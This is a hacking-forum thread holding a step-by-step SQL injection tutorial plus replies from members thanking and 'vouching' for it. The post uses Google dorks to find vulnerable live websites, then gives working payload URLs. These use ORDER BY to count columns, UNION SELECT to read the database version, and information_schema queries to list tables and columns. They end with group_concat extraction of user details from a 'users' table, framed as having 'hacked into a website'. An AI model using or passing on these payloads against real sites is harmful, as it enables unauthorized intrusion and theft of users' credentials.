Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Website Hacking: Basic SQL Injection Tutorial Written By B0RNE

Website Hacking: SQL Injection Tutorial

To start off I would like to explain what SQL Injection Attack are
SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
(www.en.wikipedia.org)

In this tutorial we will be using google dorks, dorks are for making response more efficient Google has provided few functional words called dorks. Here is an example of how a dork looks like: “site:“. This particular is used for finding out the websites with a particular word in their domain name. Such as if you search in Google as ”site: uk” you will find the sites which belong to United Kingdom (U.K.) only! This makes your search response very accurate when you are searching something, especially related to a country.
Here is a google dork list with over 7,000 dorks.

Ok once you have put your dork into google you will see multiple sites with your dork at the end of each url, for example
Spoiler (Click to View)

Simply click one of these sites and put ' at the end of the url making the url look like this
Code
www.website.com/googledork?id=22'


If you see a error similar to
Code
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 mySQL error code
then that means that website is vulnerable to SQL, now we have a website we are going to find out how many columns that website has to do this all we must do is put

Code
www.website.com/googledork?id=22 order by 15--
<--- ERROR
This means there is less than 15 columns

Code
www.website.com/googledork?id=22 order by 10--
<--- ERROR
This means there is less than 10 columns

Code
www.website.com/googledork?id=22 order by 5--
<--- NO ERROR
This either means it has 5 columns or more so lets try 6

Code
www.website.com/googledork?id=22 order by 6--
<--- ERROR
This means there is 5 columns, now we know there is 5 columns we now need to find out which column is vulnerable, to do this we need to do

Code
www.website.com/googledork?id=-22 union all select 1,2,3,4,5--

Make sure you either put - before the id number or you can change the id number to null
You should now see random number(s) on your screen they are the vulnerable column numbers, say if it is 3 then you will change 3 on in the url to @@version this will then tell you the version, your url should look like this
Code
www.website.com/googledork?id=-22 union all select 1,2,3,4,@@version

Once you have found out version out you can now find out what the tables are and to this you must change @@version to group_concat(table_name) and at the end of the url put from information_schema.tables-- your URL should look similar to this
Code
www.website.com/googledork?id=-22 union select 1,2,3,4,group_concat(table_name) from information_schema.tables--

You should now see a bunch of names on the screen these are the table names, you should look out for something that may contain user details or passwords, once you have chosen a table you would like to get information from you need to replace group_concat(table_name) with group_concat(column_name) and put from information_schema.columns where table_name=Name of table in hex form at the end, you then need to get the HEX of that table name to do this you will use a
online text to hex converter
once you have your code replace Name of table in hex form with the HEX code

You should them get a load of other names you will then need to change the URL to
Code
www.website.com/googledork?id=-22 union all select 1,2,3,4,group_concat(#1 COLUMN NAME,0x3a,#2 COLUMN NAME) from users--

That is it, you have just successfully hacked into a website using SQL Injection, I hope you have learned alot from this tutorial, if you need any help either PM me or post below 🤝
If would like to talk to me on skype just PM me and I will give you my username

Thanks for reading. 🤝
Vouch for this hedgehog, amazing tutorial helped me lot pm tons for this help/
(Sep 21, 2013 05:01 AM)Liam™ Wrote:  Vouch for this hedgehog, amazing tutorial helped me lot pm tons for this help/
Thanks for the vouch Liam, much appreciated.
Vouch for this tutorial, helps alot of people, goodluck ;-) - Allan
(Sep 21, 2013 05:40 AM)Marwix Wrote:  Vouch for this tutorial, helps alot of people, goodluck ;-) - Allan
Thanks Allan really appreciate it 🤝
Thanks! This should help some members out on HF, and I bookmarked this.
(Sep 21, 2013 09:02 AM)Fayz_Golden Wrote:  Thanks! This should help some members out on HF, and I bookmarked this.
Thanks ▲Illuminati▲ I hope it does and thanks for bookmarking it 😊
OMG That Sig, hacked some websites playing with admin.
Thanks! I just bookmarked this OP. Good share
Dork based SQLi kinda suck due to the fact that everyone and their mother knows about them and have most likely already used them all.
Nice tut, nice refresher, haven't done sql in months. probly the shortest elaborate sql guide here
really nice tutorial, very helpful ;)
DMA HW&FW provider. Cheats for Rust / Deadlock / SoT / DBD / Smite and many more!
[Image: JIC9VoB.png]
Care about your accounts? Join us and enjoy our slotted cheats - Trusted Member and Reseller for PerfectAim
(Sep 21, 2013 12:33 PM)King Xerxes Wrote:  Thanks! I just bookmarked this OP. Good share
Glad to see that you have bookmarked my tutorial!<3 🤝
Very very good tutorial! Thank you so much! Helped me understand the basics of SQL injections! :)
(Sep 26, 2013 07:18 AM)Yurt Wrote:  Very very good tutorial! Thank you so much! Helped me understand the basics of SQL injections! :)
Thanks for the support Flump, glad it has helped. 🤗


Possibly Related Threads...
Thread / Author Replies Views Last Post
by iLoveGamingAug 26, 2026 04:44 PM 6 988 Aug 26, 2026 04:44 PM
Last Post: delta zer0
by GoodiesFeb 4, 2025 01:31 PM 213 26,748 Feb 4, 2025 01:31 PM
Last Post: JackorHide?
by OrochimaruMar 5, 2024 11:47 AM 56 6,377 Mar 5, 2024 11:47 AM
Last Post: Any1One